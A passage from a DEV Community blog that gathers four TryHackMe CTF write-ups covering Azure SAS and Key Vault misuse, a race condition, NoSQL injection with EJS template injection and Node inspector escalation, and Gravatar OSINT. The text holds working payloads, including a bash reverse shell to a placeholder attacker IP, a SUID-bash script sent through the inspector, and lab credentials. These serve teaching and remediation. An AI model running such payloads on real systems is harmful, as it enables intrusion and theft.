DEV Community: Yogeshwar Peela

TryHackMe : CryptoCabana Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 16:38:58 +0000

Overview

CryptoCabana is a fake crypto-backup service hosted as an Azure Static Website. The attack path chains together four separate misconfigurations:

A low-privilege Azure user with only Reader on one resource group
A publicly exposed Storage Account SAS token leaked in client-side JavaScript
Service Principal credentials sitting unprotected in that same storage account
A Key Vault secret that was "rotated" but never purged, leaving the old version recoverable

None of these are exotic. Each one is a common real-world Azure mistake, and together they turn a read-only foothold into full compromise of the target's secrets.

Step 1: Confirm the Starting Foothold

The CTF hands you an authenticated low-privilege user. First move on any Azure engagement: figure out exactly what that identity can touch.

az account show
az role assignment list --assignee usr-08044275@thmctf.onmicrosoft.com --all --output table

Principal                            Role    Scope
-----------------------------------  ------  -------------------------------------------------------------------------------------
usr-08044275@thmctf.onmicrosoft.com  Reader  /subscriptions/2492269a-2948-46fd-aae3-68c9b066443a/resourceGroups/rg-cloudshell-only

Reader on a single resource group called rg-cloudshell-only. Nothing interesting lives there - it's a dead end by design. This tells us the real path in isn't through IAM privilege at all; it's through something exposed outside of Azure RBAC entirely, like a public web endpoint.

Step 2: Find the Public Static Website

The resource group name (cryptocabana-rg) and the CTF's crypto-wallet theming point toward a storage account serving a static site. Static websites hosted on Azure Storage are public by default once $web is enabled - no auth required to view them.

curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/

This returns a "CryptoCabana" landing page: a fake seed-phrase backup tool. Classic social-engineering bait for the fictional scenario, but for us it's just an entry point. The page loads app.js, so that's the next thing to pull.

curl https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js

const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";

This is the actual vulnerability. A SAS (Shared Access Signature) token is embedded directly in public client-side JavaScript. SAS tokens are bearer credentials - anyone who has the string has the access it grants, no login needed. This one has:

ss=b - scoped to Blob service
srt=sco - applies to service, container, and object level
sp=rl - read + list permissions
se=2099-12-31 - expires in the year 2099 (i.e., effectively never)

Read + list, account-wide, forever. That's a huge blast radius for a token meant only to let a browser PUT a backup blob.

Step 3: Enumerate the Storage Account with the Leaked SAS

With sp=rl we can list every container, not just backups:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

Three containers come back: $web (the site itself), backups (empty - no one's fallen for the phishing yet), and vault - not referenced anywhere in the site's own code. That's worth listing:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

<Blobs>
  <Blob><Name>backup-service-account.json</Name>...</Blob>
  <Blob><Name>seed_phrase.txt</Name>...</Blob>
</Blobs>

Both are worth pulling. seed_phrase.txt is in-universe flavor (a decoy "wallet" secret). backup-service-account.json is the real prize:

curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D"

{
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
  "key_vault_name": "ccabana-kv-f5scjagc",
  "key_vault_uri": "https://ccabana-kv-f5scjagc.vault.azure.net/",
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"
}

Full Service Principal credentials, including a pointer straight to a Key Vault. The IT note is almost apologetic about it - "rotate this if it ever leaves the vault" is exactly the mistake that just happened.

Step 4: Authenticate as the Service Principal

az login --service-principal \
  --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
  --password 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
  --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c

This swaps us from a Reader-only human account to whatever this backup automation identity is actually scoped to - almost certainly broader access to the Key Vault it points at.

Step 5: Hit a Wall on Key Vault RBAC

The obvious next move is grabbing master-key straight away:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key --query value -o tsv

(Forbidden) Caller is not authorized to perform action on resource.
Action: 'Microsoft.KeyVault/vaults/secrets/getSecret/action'
Inner error: { "code": "ForbiddenByRbac" }

The vault uses RBAC authorization mode, not the older vault access-policy model, and this SP has no role assignment on it - az role assignment list --assignee dbcf2923-... comes back empty. So the SP is real, but it isn't blanket-authorized on the vault. The automation account was probably scoped narrowly to specific secrets, not master-key.

Rather than fight the RBAC wall on master-key, try what the SP can read:

az keyvault secret list --vault-name ccabana-kv-f5scjagc --output table

Name         Expires
-----------  -------------------------
key-shard-1
key-shard-2
key-shard-3
master-key   2020-01-01T00:00:00+00:00

master-key is expired anyway - a dead end even if it were readable. The key-shard-* naming is the real hint: the flag is likely split across three secrets meant to be concatenated.

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-1 --query value -o tsv
# [REDACTED - first flag fragment]

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-3 --query value -o tsv
# [REDACTED - last flag fragment]

Two of three shards, no RBAC error this time - so the SP does have read access to these specific secrets. key-shard-2 is where it gets interesting:

az keyvault secret show --vault-name ccabana-kv-f5scjagc --name key-shard-2 --query value -o tsv

Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.

Not a shard value at all - a note left by whoever rotated the secret after realizing the SP credentials had leaked. That phrasing ("recoverable if you know where to look") is a direct pointer to secret versioning.

Step 6: Recover the Rotated Secret Version

Key Vault never overwrites a secret in place - every set-secret call creates a new version, and old versions stay readable (as long as they haven't been purged) to anyone with get permission on the secret name. Rotating a secret doesn't erase its history.

az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 -o json

[
  {
    "attributes": { "created": "2026-07-28T01:05:05+00:00", ... },
    "id": ".../secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0"
  },
  {
    "attributes": { "created": "2026-07-28T01:05:07+00:00", ... },
    "id": ".../secrets/key-shard-2/c922c422ffb34671a902389c372314f1"
  }
]

Two versions, two seconds apart - the original, then the rotation. The current key-shard-2 (the one returned by default when you don't specify a version) is the one holding the note. The older version, 3d6492d2c6f74123bc754a9ded22b2a0, is the pre-rotation value. Fetch a specific version by passing the full versioned resource ID:

az keyvault secret show \
  --id "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0" \
  --query value -o tsv

[REDACTED - middle flag fragment]

Step 7: Assemble the Flag

key-shard-1: THM{n0t_ur
key-shard-2 (old version): [REDACTED]
key-shard-3: ur_c01ns!}

THM{█████████████████████████}

Flag redacted per platform policy - concatenate the three shards above in order to reproduce it yourself.

Root Cause Summary

Step	Misconfiguration	Impact
SAS in `app.js`	Long-lived, account-wide `read+list` SAS token hardcoded in public JS	Anyone visiting the site can enumerate and read every container/blob
`vault` container	Sensitive files stored in a container reachable by an over-scoped SAS	SP credentials exposed to anyone with the SAS
Key Vault RBAC	SP granted read on specific secrets but not scoped tightly (or old versions left unpurged)	Rotated secret's pre-leak value still fully recoverable
`master-key` expiry	Secret expired instead of being removed/rotated with purge	Dead end here, but a good reminder that "expired" != "inaccessible" for anyone who did have rights

Remediation Notes

Never embed SAS tokens in client-side code. If a SAS-based upload flow is required, generate short-lived, narrowly-scoped tokens server-side per request.
SAS tokens should carry the minimum permission set and a realistic expiry - se=2099-12-31 defeats the purpose of using a SAS at all.
Treat any credential that touched a public endpoint as compromised. Rotating a Key Vault secret is not enough on its own - purge old versions (az keyvault secret purge, or enable purge protection with a deliberate versioning policy) if the goal is to actually invalidate the leaked value.
Apply least-privilege RBAC on Key Vault secrets per identity, and periodically audit az role assignment list for service principals that have outlived their original purpose.

TryHackMe : Towel on the Sunbed Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 14:12:34 +0000

TL;DR

Ponzi Portfolio is a Node.js/Express "staking rewards" web app with a
24-hour cooldown on claiming a reward. The /claim endpoint has a classic
check-then-act race condition: it checks whether the claim window has
elapsed, then updates the balance, without doing either atomically. Firing
many concurrent requests at /claim lets several of them pass the
eligibility check before any of them commit their balance update, so
multiple 50-PONZI rewards land from what should only ever be one claim per
day. Racing past the intended single-claim limit pushes the balance over
the 150-PONZI "Whale" threshold and unlocks a vault endpoint containing the
flag.

Flag: THM{[REDACTED]}

1. Recon

nmap -A -Pn <MACHINE_IP> -o nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    Node.js Express framework
| http-title: "Ponzi Portfolio - Login"
|_Requested resource was /auth/login

A crypto-themed "staking rewards" app on port 3000, redirecting
unauthenticated requests to /auth/login.

2. Mapping the app

curl http://<MACHINE_IP>:3000/auth/register

A normal username/password registration form, client-side JS posting JSON
to /auth/register and /auth/login. Registered and logged in as a test
account:

curl -s -X POST http://<MACHINE_IP>:3000/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","password":"testpass123"}'

{"message":"Account created.","redirect":"/dashboard"}

curl -s -c cookies.txt -X POST http://<MACHINE_IP>:3000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser","password":"testpass123"}'

{"message":"Logged in.","redirect":"/dashboard"}

The dashboard's front-end JS (/js/dashboard.js) lays out the whole app
logic: a balance field, a "Claim Reward" button hitting POST /claim
(50 PONZI, once per 24 hours per the countdown timer), and a "Whale Vault"
unlocked at a 150-PONZI balance via GET /vault.

curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me

{"balance":0,"tier":"Shrimp","canClaim":true,"secondsUntilClaim":0, ...}

3. Confirming the claim/cooldown mechanic

curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim

{"message":"Staking reward claimed successfully.","reward":50,"newBalance":50,"tier":"Shrimp","priceSnapshot":4.2}

curl -s -b cookies.txt http://<MACHINE_IP>:3000/dashboard/api/me

{"balance":50,"canClaim":false,"secondsUntilClaim":86396, ...}

One claim, then locked out for roughly 24 hours (86396 seconds). At 50
PONZI per claim and a 150-PONZI whale threshold, legitimately reaching the
vault would take three real claim cycles, spread across three days. Worth
testing whether the cooldown is actually enforced atomically or just
checked once per request.

4. Race condition in `/claim`

Fired 30 concurrent /claim requests against the same authenticated
session:

for i in $(seq 1 30); do
  curl -s -b cookies.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait
grep -l '"reward"' resp_*.json | wc -l

First run against the already-claimed testuser session returned zero
successful claims - expected, since that account had already used its
claim for the day and every request correctly saw canClaim: false.

Registered a fresh account (racer1) specifically to race from a clean,
unclaimed state, then immediately fired 30 concurrent claims before any
single request's balance update could commit:

curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"racer1","password":"testpass123"}'

curl -s -c cookies2.txt -X POST http://<MACHINE_IP>:3000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"racer1","password":"testpass123"}'

for i in $(seq 1 30); do
  curl -s -b cookies2.txt -X POST http://<MACHINE_IP>:3000/claim -o resp_$i.json &
done
wait

grep -o '"reward":[0-9]*' resp_*.json | sort | uniq -c

1 resp_1.json:"reward":50
1 resp_2.json:"reward":50
1 resp_3.json:"reward":50
1 resp_4.json:"reward":50
1 resp_5.json:"reward":50
1 resp_7.json:"reward":50

Six of the thirty concurrent requests succeeded - six separate 50-PONZI
rewards from a mechanic that's supposed to permit exactly one per day.
Classic TOCTOU (time-of-check to time-of-use): each request reads
canClaim from the current balance/timestamp state before any of the
other concurrent requests has written its update back, so several
requests all see "eligible" simultaneously and all get paid out.

curl -s -b cookies2.txt http://<MACHINE_IP>:3000/dashboard/api/me

{"balance":300,"tier":"Whale", ...}

300 PONZI - double the 150-PONZI whale threshold, from a single racing
burst.

5. Unlocking the vault

curl -s -b cookies2.txt http://<MACHINE_IP>:3000/vault

{
  "message": "Welcome to the Whale Vault.",
  "flag": "THM{[REDACTED]}",
  "balance": 300
}

Key vulnerabilities

#	Weakness	Detail
1	Race condition (TOCTOU) on `/claim`	The claim-eligibility check (has 24 hours passed?) and the balance-update write are two separate, non-atomic steps. Concurrent requests all read the pre-update state and all pass the check before any of them commits, allowing multiple rewards to be claimed within a window meant to permit only one.
2	No idempotency or locking on the reward transaction	No per-user mutex, database row lock, or idempotency key protects the claim-then-credit sequence, so the app has no way to serialize concurrent claim attempts from the same session.
3	Client-trusted cooldown display only	The countdown timer and disabled button in the front end are purely cosmetic (`/js/dashboard.js`); server-side enforcement is the only real gate, and it's the part that's racy.

Attack chain

Register + log in (normal account creation, no vuln needed)
        |
        v
GET /dashboard/api/me - learn balance, canClaim, whaleThreshold (150), reward (50/claim)
        |
        v
POST /claim (single request) - confirms one successful claim, then locked for ~24h
        |
        v
Register a second, unclaimed account (clean race target)
        |
        v
Fire 30 concurrent POST /claim requests before any single response commits
        |
        v
Multiple requests all read canClaim=true simultaneously -> 6/30 succeed -> 300 PONZI
        |
        v
GET /vault (balance >= 150) -> flag

Mitigations

Make the claim-and-credit operation atomic. Use a single database transaction with row-level locking (e.g. SELECT ... FOR UPDATE) or an atomic conditional update (e.g. UPDATE users SET balance = balance + 50, last_claim = NOW() WHERE id = ? AND last_claim < NOW() - INTERVAL '24 hours' and check the affected-row count) so the eligibility check and the write happen as one indivisible step.
Serialize claim attempts per user with an application-level lock or mutex keyed to the user ID, so concurrent requests from the same session queue rather than race.
Never rely on client-side timers or disabled buttons to enforce business rules; treat them as UX only and always re-validate fully on the server for every request.
Add basic rate limiting per user/session on sensitive state-changing endpoints like /claim, both to blunt this class of race and to slow down automated abuse generally.
Log and alert on anomalous reward patterns (e.g. multiple successful claims for one user within a short window) as a detective control, in case a race condition like this slips past preventive fixes.

TryHackMe : Do Not Disturb Writeup

Yogeshwar Peela — Tue, 04 Aug 2026 11:08:56 +0000

TL;DR

Byte Lotus Poolside is a Node.js/Express booking app. A NoSQL injection in
the login endpoint bypasses authentication entirely and lands directly in
the staff role. The staff console's booking-confirmation "template"
feature is a raw EJS render with no sandboxing, giving straightforward
server-side template injection and RCE as the low-privileged poolside
service account. From there, a second Node process owned by a
higher-privileged pipelinesvc account (member of the disk group) is
listening on a loopback debug port. Speaking the Node inspector/Chrome
DevTools protocol directly to that port over a raw WebSocket lets us run
arbitrary JavaScript as pipelinesvc, and that account's disk group
membership allows reading the root partition block device directly with
debugfs, bypassing filesystem permissions to pull root.txt without
ever needing a root shell.

User flag: THM{[REDACTED]}
Root flag: THM{[REDACTED]}

1. Recon

nmap -A -Pn <MACHINE_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Node.js (Express middleware)
|_http-title: "Byte Lotus - Poolside"

Full port sweep confirmed nothing extra:

nmap -A -p- <MACHINE_IP> -o nmap
# same two ports, 22 and 80

The web app is a "Byte Lotus" poolside booking page with a staff/guest
login form posting to /login.

2. Directory discovery

dirsearch -u http://<MACHINE_IP>/ -C 403,404
302 -   23B  - /Logout  ->  /
403 -    2KB - /Staff

/Staff exists but returns 403 without auth - confirms there's a
privileged area worth getting into.

3. NoSQL injection - authentication bypass

Testing a JSON body against /login with MongoDB operator injection
confirmed the backend is Mongo-backed and doesn't sanitize input:

curl -s -X POST http://<MACHINE_IP>/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'

{"ok":true,"role":"guest"}

That confirms the injection lands, but only as guest. The actual login
form posts as regular form-encoded data, not JSON, so switching to
Express's array/bracket syntax (username[$ne]=) lets the same operator
injection ride through body-parser's extended mode, which converts
field[$ne]=value into a nested object automatically:

curl -s -c cookies.txt -X POST http://<MACHINE_IP>/login \
  --data-urlencode "username[\$ne]=" \
  --data-urlencode "password[\$ne]="

Found. Redirecting to /staff

Bracket-notation NoSQL injection on both fields, and the session cookie
this sets grants staff access directly:

curl -L -s -b cookies.txt http://<MACHINE_IP>/staff

<div class="lotus">- staff console -</div>
<h1>Cabana Desk</h1>
<p class="sub">Signed in as <strong>attendant</strong>. Customise the guest booking-confirmation message below.</p>
<form method="post" action="/staff/preview">
  <label>Confirmation template (EJS - use &lt;%= guest %&gt; to personalise)</label>
  <textarea name="template">Dear &lt;%= guest %&gt;, your Byte Lotus cabana is confirmed.</textarea>
  <button type="submit">Preview</button>
</form>

Full staff console access, no credentials needed.

4. Server-side template injection to RCE

The staff console explicitly tells you it's rendering user-controlled EJS
(use <%= guest %> to personalise) - a strong signal the template field
is passed straight into an EJS render call server-side rather than only
substituting the guest variable into a fixed template.

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
  --data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("id") %>'

<pre>uid=996(poolside) gid=996(poolside) groups=996(poolside)
</pre>

Confirmed RCE as the poolside service account. EJS has no output
sandboxing by default, and global.process.mainModule.require(...) is
the standard bypass used when direct require isn't in scope inside an
EJS expression. Escalated straight to a reverse shell:

curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
  --data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"") %>'

penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.131.0 Linux-x86_64 poolside(996)
poolside@tryhackme-2404:/opt/poolside$ whoami
poolside

poolside@tryhackme-2404:/opt/poolside$ cat /home/poolside/user.txt
THM{[REDACTED]}

5. Finding the escalation path - a second Node process

sudo -l needed a password, no SUID/SGID binaries or writable
sudoers files stood out. ps aux turned up a second Node process running
as a different, unreachable user:

poolside@tryhackme-2404:/home$ ps aux | grep -i node
pipelin+   599  0.0  2.2 856472 44976 ?  Ssl  06:41  0:00 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside   600  4.1  4.4 1043140 87800 ?  Ssl  06:41  0:55 /usr/bin/node app.js

--inspect=127.0.0.1:9229 is the Node.js debugger/inspector flag - it
exposes the full Chrome DevTools Protocol on that port, loopback-only,
running as pipelinesvc:

poolside@tryhackme-2404:/home$ id pipelinesvc
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)

pipelinesvc is a member of the disk group - worth remembering for
later.

poolside@tryhackme-2404:/home$ curl -s http://127.0.0.1:9229/json
[ {
  "id": "67032290-875c-4701-9958-38d997feeebb",
  "title": "processor.js",
  "url": "file:///opt/pipelinesvc/telemetry/processor.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/67032290-875c-4701-9958-38d997feeebb"
} ]

Plain curl against the debugger URL just says WebSockets request was expected - the inspector protocol requires a proper WebSocket upgrade
handshake, which curl alone can't do for the JSON-RPC session that
follows.

6. Speaking WebSocket to the Node inspector manually

No websocket/websockets Python module was installed on the box, so
the handshake and frame encoding were done by hand - a WebSocket upgrade
is just an HTTP Upgrade header exchange, and a text frame is a simple
opcode + masked-payload structure:

import socket, base64, os, json, struct

HOST, PORT = "127.0.0.1", 9229
key = base64.b64encode(os.urandom(16)).decode()

s = socket.create_connection((HOST, PORT))
req = (
    f"GET /67032290-875c-4701-9958-38d997feeebb HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Upgrade: websocket\r\n"
    f"Connection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\n"
    f"Sec-WebSocket-Version: 13\r\n\r\n"
)
s.send(req.encode())
print(s.recv(4096))

def send_frame(payload):
    data = payload.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
    length = len(data)
    if length < 126:
        header = struct.pack("!BB", 0x81, 0x80 | length)
    else:
        header = struct.pack("!BBH", 0x81, 0x80 | 126, length)
    s.send(header + mask + masked)

cmd = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "global.process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash').toString()"
    }
}
send_frame(json.dumps(cmd))
print(s.recv(65536))

b'HTTP/1.1 101 Switching Protocols\r\n...'
b'{"id":1,"result":{"result":{"type":"string","value":""}}}'

The Runtime.evaluate method of the Chrome DevTools Protocol executes
arbitrary JavaScript inside the target Node process - here, used to run a
child_process.execSync call that copies /bin/bash to /tmp/rootbash
and sets the SUID bit, all executing with pipelinesvc's real UID/GID:

poolside@tryhackme-2404:/home$ ls -la /tmp/rootbash
-rwsr-xr-x 1 pipelinesvc pipelinesvc 1446024 Aug  4 07:05 /tmp/rootbash
poolside@tryhackme-2404:/home$ /tmp/rootbash -p
rootbash-5.2$ whoami
pipelinesvc

7. Root flag via disk group, not a root shell

euid=995(pipelinesvc) from the SUID bash shell still only carried the
poolside account's original supplementary group list
(groups=996(poolside)) - bash -p preserves the real UID's group
memberships, it doesn't pick up pipelinesvc's disk group membership.
So debugfs against the raw block device failed from that shell:

rootbash-5.2$ debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1
debugfs: Permission denied while trying to open /dev/nvme0n1p1

The fix: run the privileged read inside the original Node inspector RCE
instead of through the SUID bash detour - that JavaScript executes
natively as the full pipelinesvc process, with its real group list
(disk) intact, giving direct read access to the underlying block
device:

cmd = {
    "id": 1,
    "method": "Runtime.evaluate",
    "params": {
        "expression": "global.process.mainModule.require('child_process').execSync('debugfs -R \\'cat /root/root.txt\\' /dev/nvme0n1p1').toString()"
    }
}

b'{"id":1,"result":{"result":{"type":"string","value":"debugfs 1.47.0 (5-Feb-2023)\\nTHM{[REDACTED]}\\n"}}}'

debugfs reads the ext4 filesystem directly off the raw partition,
completely bypassing normal file permission checks (root.txt is
-rw-r----- root-owned) - membership in the disk group and raw
/dev/nvme0n1p1 access is effectively root-equivalent file read, even
without ever obtaining a root shell.

Key vulnerabilities

#	Weakness	Detail
1	NoSQL injection - auth bypass	`/login` builds a Mongo query directly from unsanitized user input; bracket-notation form fields (`username[$ne]=`) parse into a `$ne` operator object via `body-parser`'s extended mode, letting any request authenticate as staff with no valid credentials.
2	Server-side template injection (SSTI)	`/staff/preview` renders the user-supplied `template` field as live EJS with no sandboxing, giving direct RCE via `global.process.mainModule.require(...)`.
3	Exposed Node inspector debug port	`pipelinesvc`'s `processor.js` runs with `--inspect=127.0.0.1:9229` in what looks like a production environment, exposing the full Chrome DevTools Protocol (arbitrary JS execution) to any local user who can reach loopback.
4	Overprivileged group membership	`pipelinesvc` belongs to the `disk` group, granting raw read/write access to block devices - equivalent to bypassing all filesystem permission checks on that disk.

Attack chain

NoSQL injection on /login (username[$ne]=, password[$ne]=)
        |
        v
Staff session with no valid credentials
        |
        v
/staff/preview - unsandboxed EJS template render (SSTI)
        |
        v
RCE as poolside -> reverse shell -> user.txt
        |
        v
ps aux reveals pipelinesvc's node --inspect=127.0.0.1:9229 processor.js
        |
        v
Manual WebSocket handshake + Runtime.evaluate (Chrome DevTools Protocol)
        |
        v
Arbitrary JS execution as pipelinesvc (member of disk group)
        |
        v
debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1  ->  root.txt read directly
        |
        v
(SUID bash copy also created, but useless here since it loses pipelinesvc's group membership)

Mitigations

Never build database queries directly from unsanitized request bodies. Explicitly validate/whitelist input types (e.g. reject non-string username/password values) or use a query-building layer that doesn't allow raw operator injection like Mongoose schemas with strict typing, or a library such as mongo-sanitize.
Never render user-supplied strings as live templates. If customizable templates are a real product requirement, use a sandboxed templating approach (restricted variable substitution only, no arbitrary expression evaluation) rather than passing input straight into ejs.render().
Never run --inspect/--inspect-brk in production, even bound to loopback - any local process (including a compromised low-privilege web app account) can reach it and gain full code execution in the context of whatever account started that Node process.
Apply least privilege to service accounts. disk group membership is effectively root-equivalent file access and should never be granted to an application service account unless absolutely required, and even then should be scoped far more narrowly (e.g. a specific loop device, not the boot disk).

TryHackMe : Overheard at Breakfast

Yogeshwar Peela — Tue, 04 Aug 2026 04:42:31 +0000

TL;DR

A single artifact - a zipped screenshot of a Discord-style DM conversation

is the entire challenge. Two "Byte Lotus Hotel" guests, Ponzi and Lambo!, chat about social media; Lambo! name-drops a defunct profile-linking tool ("started with a G") and hands over an email address as their "best way of communication." Hashing that email and querying it against Gravatar's public API returns a cached profile - never fully deleted - whose bio field contains a base64-encoded flag planted for whoever tracks it down.

Flag: THM{[REDACTED]}

1. The artifact

unzip overheard-at-breakfast-*.zip
Archive:  overheard-at-breakfast-*.zip
  inflating: conversation.png

file conversation.png
conversation.png: PNG image data, 1175 x 781, 8-bit/color RGBA, non-interlaced

Just one PNG inside the zip. No accompanying text, hints, or extra files

whatever's needed is either in the image's metadata, hidden in the pixels, or visible on screen.

2. Ruling out metadata and steganography

Standard checks first, all of which came back clean or as false leads:

exiftool conversation.png
# Only standard PNG chunk info (IHDR, sRGB, gAMA, pHYs) - nothing hidden

binwalk conversation.png
0    0x0    PNG image, 1175 x 781, 8-bit/color RGBA, non-interlaced
91   0x5B   Zlib compressed data, compressed
# This is just the PNG's own internal IDAT chunk being correctly
# identified - not a second file appended after IEND.

steghide extract -sf conversation.png
steghide: the file format of the file "conversation.png" is not supported.

stegseek conversation.png /usr/share/wordlists/rockyou.txt
[!] error: the file format of the file "conversation.png" is not supported.
# steghide/stegseek only support JPEG/BMP/WAV/AU - PNG was never a
# candidate for these tools in the first place.

zsteg conversation.png
b4,rgb,msb,xy .. text: "UWuUWuUWuUWuUWuUWuUWuU..."
# Repeating 4-byte cycle - a bitplane artifact from ordinary image
# content aliasing into printable bytes, not a real hidden message.

None of the classic image-forensics angles panned out. Given the file is
literally named conversation.png, the next logical step was to stop
treating it as a puzzle to crack open and just read it.

3. Reading the screenshot

Opening the image directly reveals a two-person Discord DM between
Ponzi - Influencer and Lambo!, both wearing a L3AK server badge, set
at a "Byte Lotus" resort. The key exchange:

Lambo!: Yeah nowadays I don't really use much social media...
Though I'm still out there, I used to use this free tool that let me
upload my profile and link other media accounts, was neat, until I
wiped everything. Started with a G if I remember correctly.
But if anything this is my best way of communication:
lambobytelotushotel@gmail.com

That's a direct pointer to Gravatar - a free service (starts with G)
built around uploading a profile photo and linking social accounts, keyed
entirely off a hashed email address.

4. Hashing the email and querying Gravatar

Gravatar profiles are addressable by the MD5 (legacy API) or SHA256
(current v3 API) hash of a lowercased, trimmed email address:

import hashlib
email = 'lambobytelotushotel@gmail.com'.strip().lower()
print('MD5   :', hashlib.md5(email.encode()).hexdigest())
print('SHA256:', hashlib.sha256(email.encode()).hexdigest())

MD5   : d4a5fc5d3128890778667e24617d7cc0
SHA256: d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931

Queried both API generations:

curl -s https://www.gravatar.com/d4a5fc5d3128890778667e24617d7cc0.json | jq .
# (empty - legacy endpoint returned nothing for this hash)

curl -s https://api.gravatar.com/v3/profiles/d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931 | jq .

{
  "hash": "d43faafe9d7f056793bd037b8d6e321acad985c222d83775b10d6539e301e931",
  "display_name": "Lambo",
  "profile_url": "https://gravatar.com/cheerfullysongf28e3c3716",
  "avatar_url": "https://1.gravatar.com/avatar/d43faafe9...",
  "location": "Byte Lotus Hotel",
  "description": "Funny thing about email hashes, they follow you places you didn't expect. Glad you found the right corner of the internet! Here is your prize: VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9",
  "pronunciation": "Lam-boh",
  ...
}

Despite "wiping everything" per the chat log, the v3 API still returned a
full cached profile - display_name: Lambo, location: Byte Lotus Hotel

confirming this is the right target and that Gravatar profile data persists (or is cached) even after a user believes it's gone.

5. Decoding the flag

The description field isn't an actual bio - it's a base64 string left
there deliberately as the prize:

echo "VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9" | base64 -d
THM{[REDACTED]}

Techniques used

#	Technique	Detail
1	Screenshot/artifact review	The flag path only became clear after actually reading the conversation text rather than continuing to run steganography tooling against the wrong file format.
2	OSINT pivot from a leaked email	A casually-shared email address in a chat log was the pivot point for the entire challenge.
3	Gravatar hash-based profile lookup	Gravatar profiles are addressable purely from a hash of an email address - no authentication or account access needed to view public profile data.
4	"Deleted" data persistence	The target believed they'd wiped their Gravatar profile; the API still served cached/persisted data, including a message clearly left for someone doing exactly this lookup.

Chain

Zipped PNG (conversation.png) - a "Byte Lotus Hotel" Discord DM screenshot
        │
        ▼
Lambo! mentions a defunct "G" profile-linking tool + shares an email
        │
        ▼
Hash email (MD5 / SHA256)
        │
        ▼
Query Gravatar API (api.gravatar.com/v3/profiles/<sha256>)
        │
        ▼
Cached profile returned despite "wiping everything"
        │
        ▼
description field → base64 → flag

Takeaways / lessons (from a defensive OSINT-awareness angle)

